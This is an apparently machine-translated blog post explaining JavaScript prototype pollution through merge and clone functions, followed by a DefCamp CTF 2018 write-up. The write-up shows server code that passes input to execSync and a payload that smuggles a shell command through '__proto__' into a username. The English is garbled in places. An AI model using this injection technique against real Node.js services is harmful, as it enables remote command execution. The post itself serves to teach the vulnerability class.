JavaScript Prototype pollution attack (CTF example analysis)

0x01 talk about their own understanding

function a(){}   
var b=new a()
var c = {}

a.__proto__.__proto__ == b.__proto__.__proto__ == c.__proto__
a.__proto__ != b.__proto__ != c

  • This time the b __proto__point isa.prototype
  • a.prototypeThe __proto__point isObject.prototype
  • b The constructorpoint is alsofunction a(){}
  • And it's a __proto__point that Function.prototypenow Function.prototype. constructorpoints to theFunction(){}
  • The above Function(){}also __proto__points toFunction.prototype
  • Function.prototypeThe constructor also pointedFunction(){}
  • Function.prototypeThe __proto__same time pointObject.prototype
  • Object.prototypeThe constructor is Object
  • The Object; in __proto__turn points to theFunction.prototype
  • Object.prototypet is the __proto__null
  • In add a.constructorpoints to theFunction
function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

let son1 = new Son()
son1.__proto__                //object{...}
Son.prototype = new Father()
let son2 = new Son()
son.__proto__ 			  	//Object { first_name: "Donald", last_name: "Trump" }

Overall prototypeequivalent to inherit the parent class of other object-oriented languages in the
Here Insert Picture Description


Here Insert Picture Description

Here Insert Picture Description
picture reference address

What 0x02 prototype chain pollution

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)            			    // 1

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1,先查找本身的属性,若没有再层层递进
console.log(foo.bar)		  				    //1

// 此时再用Object创建一个空的zoo对象
let zoo = {}					

// 查看zoo.bar
console.log(zoo.bar)							//2

0x03 which case the prototype chain would be contaminated?

1.对象`merge`
2.对象`clone`(其实内核就是将待操作的对象merge到一个空对象中)

An object merge, for example, we imagine a simple mergefunction:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

We try this Code

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)					// 1,2

o3 = {}
console.log(o3.b)                     //undefined
As a result, although the success of the merger, but the prototype chain is not contaminated:

This is because we use JavaScriptthe process of creating the o2 let o2 = {a: 1, "__proto__": {b: 2}}in, __proto__has represented the prototype of the o2, o2 this time through all the key names, you get that [a, b], __proto__not a key, naturally, does not modify the Objectprototype.
Here Insert Picture Description
So, how __proto__it is considered a key name it?
We will change the code like this:

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)                // 1,2

o3 = {}
console.log(o3.b)						//2

This is because, JSONin the case resolved, __ proto__ will be considered a real "keys", and do not represent the "prototype", so traversing o2 when there will be the key.
merge operation is the most common operation may control the key names, and most can be the prototype chain attacks, many common libraries have this problem.

0x04 analysis examples

We've got to a topic on DefCamp CTF 2018, for example
generally looked, node.js code a chat room

const io = require('socket.io-client')
const socket = io.connect('https://chat.dctfq18.def.camp')

if(process.argv.length != 4) {
  console.log('name and channel missing')
   process.exit()
}
console.log('Logging as ' + process.argv[2] + ' on ' + process.argv[3])
var inputUser = {
  name: process.argv[2],
};

socket.on('message', function(msg) {
  console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});

socket.on('error', function (err) {
  console.log('received socket error:')
  console.log(err)
})

socket.emit('register', JSON.stringify(inputUser));
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', process.argv[3]);//ps: you should keep your channels private
socket.emit('message', JSON.stringify({ channel: process.argv[3], msg: "hello channel" }));
socket.emit('message', JSON.stringify({ channel: "test", msg: "i own you" }));

The client code is relatively simple, we continue to follow up server.js code

getAscii: function(message) {
    var e = require('child_process');
    return e.execSync("cowsay '" + message + "'").toString();
}

Found a very clear command execution vulnerability, we continue to see where this function is called

client.on('join', function(channel) {
    try {
        clientManager.joinChannel(client, channel);
        sendMessageToClient(client,"Server", 
            "You joined channel", channel)

        var u = clientManager.getUsername(client);
        var c = clientManager.getCountry(client);

        sendMessageToChannel(channel,"Server", 
            helper.getAscii("User " + u + " living in " + c + " joined channel"))
    } catch(e) { console.log(e); client.disconnect() }
});

client.on('leave', function(channel) {
    try {
        client .join(channel);
        clientManager.leaveChannel(client, channel);
        sendMessageToClient(client,"Server", 
            "You left channel", channel)

        var u = clientManager.getUsername(client);
        var c = clientManager.getCountry(client);
        sendMessageToChannel(channel, "Server", 
            helper.getAscii("User " + u + " living in " + c + " left channel"))
    } catch(e) { console.log(e); client.disconnect() }
});

So the next question becomes how to control variables uor c, entered by a user usernameand country, but the problem is not so simple? Of course not, the server will do very strict user input validation:

validUser: function(inp) {
    var block = ["source","port","font","country",
                    "location","status","lastname"];
    if(typeof inp !== 'object') {
        return false;
    } 

    var keys = Object.keys(inp);
    for(var i = 0; i< keys.length; i++) {
        key = keys[i];

        if(block.indexOf(key) !== -1) {
            return false;
        }
    }

    var r =/^[a-z0-9]+$/gi;
    if(inp.name === undefined || !r.test(inp.name)) {
        return false;
    }

    return true;
}

We can CTRL+Ffind so that we can have no Prototype污染攻击place, said the two functions above general (merge,和clone)attack environment can be formed

function clone(obj) {
    if (typeof obj !== 'object' || obj === null) {
        return obj;
    }

    var newObj;
    var cloneDeep = false;

    if (!Array.isArray(obj)) {
        if (Buffer.isBuffer(obj)) {
            newObj = new Buffer(obj);
        } else if (obj instanceof Date) {
            newObj = new Date(obj.getTime());
        } else if (obj instanceof RegExp) {
            newObj = new RegExp(obj);
        } else {
            var proto = Object.getPrototypeOf(obj);
            if (proto && proto.isImmutable) {
                newObj = obj;
            } else {
                newObj = Object.create(proto);
                cloneDeep = true;
            }
        }
    } else {
        newObj = [];
        cloneDeep = true;
    }

    if (cloneDeep) {
        var keys = Object.getOwnPropertyNames(obj);
        for (var i = 0; i < keys.length; ++i) {
            var key = keys[i];
            var descriptor = Object.getOwnPropertyDescriptor(obj, key);
            if (descriptor && (descriptor.get || descriptor.set)) {
                Object.defineProperty(newObj, key, descriptor);
            } else {
                newObj[key] = clone(obj[key]);
            }
        }
    }
    return newObj;
}

Here obviously cloneavailable, so we construct payload:node client.js {"__proto__":{name:213'&&dir&&'5}} 555, the second parameter to enter the name of the chat room
Here Insert Picture Description
I reproduced in the windows, so the use of the dir command.
Here Insert Picture Description
Reproduction success!

Published 47 original articles · won praise 2 · Views 3142

Guess you like

Origin blog.csdn.net/a3320315/article/details/102883325